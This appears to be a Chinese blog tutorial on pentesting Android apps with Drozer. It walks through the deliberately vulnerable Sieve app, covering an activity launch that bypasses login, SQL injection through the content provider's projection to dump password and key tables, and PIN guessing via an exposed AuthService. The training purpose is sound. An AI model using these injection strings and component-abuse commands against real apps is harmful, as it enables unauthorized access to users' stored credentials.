当前位置:   article > 正文

使用Drozer对Android四大组件进行测试_run app.activity.start --component

run app.activity.start --component

使用Drozer对Android四大组件进行测试

一、介绍

Drozer是一款安卓的安全测试框架,可以用来对安卓应用进行渗透测试,工作方式为交互式,有点类似于MSF,可以选择模块和payload对风险点进行分析和漏洞验证。

二、安装

1、以使用windows+夜游神模拟器(越狱模式)为例,需要以下环境

(1)drozer安装程序

链接:http://mwr.to/drozer

(2)JDK

链接:https://www.oracle.com/technetwork/java/javase/downloads/index.html

(3)python 2.7

链接:https://www.python.org/downloads/windows/

2、windows中的安装一路默认即可,安装完成后目录中会出现如下内容

3、将两个文件夹直接拷贝到python2.7的目录下,会自动将内容放置到相应目录

4、将.apk这个文件拖进模拟器会自动安装

5、打开drozer Agent,点击下面启动

6、点击按钮开启服务

       现在处于等待连接状态:

7、在CMD中目录切换到模拟器安装目录(自带ADB)执行:

      adb devices 看下有没有检测到模拟器:

8、设置端口转发

drozer Agent默认监听的端口是31415(这里设置完成不会有回显)

9、进入**\python\Scripts启动dorzer console

到这里没有报错了就说明安装成功了。这里启动的时候可能经常会遇到很多报错,只需要按照提示一步一步的把缺的东西都装上即可。

三、测试步骤

说明:

下面的实验以该APP为例进行测试:

下载链接:

https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

这是一个存在多种漏洞的测试APP,它是一个密码管理的程序。

为了后面的测试,我们这里先进行一次使用:

设置访问密码:adminpassword123456789

设置PIN:1234

存储一次信息:

密码:test

保存后为如下界面:

关闭程序,再次打开:

需要输入一开始设置的密码才能访问:

输入密码后登陆:

1、查看基本信息

(1)列出所有APP

run app.package.list

(编码原因中文可能出现乱码,需要自行设置编码)

也可以直接使用-f参数+文件名,获取程序包名:

run app.package.list -f sieve

(2)程序包信息

         run app.package.info -a com.mwr.example.sieve

得到数据存放路径:

/data/data/com.mwr.example.sieve

APK路径:

/data/app/com.mwr.example.sieve-1.apk

这些信息在其他一些测试中会用的到。

(3)确定攻击面

run app.package.attacksurface com.mwr.example.sieve

前面的数字代表每种组件有多少个是暴露的,说明是存在风险的。

2、Activity组件

(1)获取activities信息

run app.activity.info -a com.mwr.example.sieve

分析:

从名字可以看出:

com.mwr.example.sieve.FileSelectActivity应该是与目录相关的包

com.mwr.example.sieve.MainLoginActivity 应该是与登录相关的包

com.mwr.example.sieve.PWList 应该是与密码相关的包

所以第一个和第三个应该是我们测试的重点对象。

(2)com.mwr.example.sieve.FileSelectActivity

命令格式:

--component 启动/调用

run app.activity.start --component 包名 组件名

尝试直接去调用这个组件:

run app.activity.start --component com.mwr.example.sieve

com.mwr.example.sieve.FileSelectActivity

然后查看模拟器:

这是一些和存储相关的信息

(3)com.mwr.example.sieve.PWList

直接调用密码组件:

run app.activity.start --component com.mwr.example.sieve

com.mwr.example.sieve.PWList

可以看到我们直接绕过了密码验证就访问到登陆后的界面了:

       这里就说明Actiity组件中的com.mwr.example.sieve.PWList是存在漏洞的,可以理解为认证绕过。

         进一步的我们尝试访问具体数据,点击信息,看到程序报错了:

3、Contend Provider组件

(1)获取 content providers信息

run app.provider.info -a com.mwr.example.sieve

因为content provider是跨进程通信的时候提供数据的交互、共享的组建,所以这里可能会存在注入点,需要特别关注。

(2)查找注入点

使用模块:scanner.provider.injection

run scanner.provider.injection -a com.mwr.example.sieve

找到存在注入的URI:

(3)查询content provider 内容

       使用app.provider.query模块

a)run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ 

b)run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords

这里直接就出来数据了,但是安装正常的注入流程,应该先查下有哪些表:

c) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/  --projection "* from sqlite_master where type= 'table'; --"

说明:

--projection [columns [columns …]]  选择查询哪些列,如:--projection _id,name,类似于SQLMAP中-C的作用

sqlite_master  是sqlite数据库的系统表,在里面使用select查询可以获取到所有的系统表。通常安卓使用的数据库都是sqlite,也有可能使用的是远程的数据库,可以使用以下方法进行确认:

cc)进入adb shell:

进入如下目录:数据库在本地,说明用的不是远程数据库,进一步确认数据库类型:

这里确认的方法很多种,最简单的直接more database.db看一下关键字就能判断出来了:

通过上面命令,我们得到了三张表,正常的思路,看到password,读取表的内容:

d) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* from Passwords; --"

得到我们存储在里面的数据:

e) run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/  --projection "* from Key; --"

前面读取的是用户存储的信息,下面读取key表:

得到登陆APP的密码、PIN码

4、Service组件

(1)获取service组件信息

run app.service.info -a com.mwr.example.sieve

发现有两个service组建:AuthService、CryptoService

从名字可以看出来:

AuthService:认证相关

CrytoService:加密相关

这里只讲AuthService,因为相对而言,认证的安全性比加密的更重要。

(2)反编译APK

对APK进行反编译,然后查看AuthService.smali中的handlemessage()方法:

经过分析可以得出以下2十六进制的数就是我们需要的值(这里需要了解安卓的handlemessage,请自行学习):

将这两个值转换为十进制:2354、9234

(3)调用AuthService破解PIN码

模块:app.service.send

使用Message攻击暴露的service,其service实现了handleMessage,需要三个参数,前两个参数为上面得到的两个值,第三个用0即可。

参数:

       --extra TYPE KEY VALUE     指定附加的数据,再这里是用来制定要枚举的PIN值

run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1111 --bundle-as-obj

当输入的PIN值不正确时返回我们枚举的PIN值:

当正确时返回主password:

这边可以根据不同的程序,PIN码的长度情况而定,像这边比较短完全可以使用脚本进行爆破。

4、Broadcast Receivers组件

       说明:

       上面这个sieve.apk没有Broadcast Receivers组件,所以另外找了一个进行测试:

(1)获取broadcast信息

       获取攻击面、broadcast信息

(2)发送广播

查看Logcat:

调用成功:

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/936768
推荐阅读
相关标签
  

闽ICP备14008679号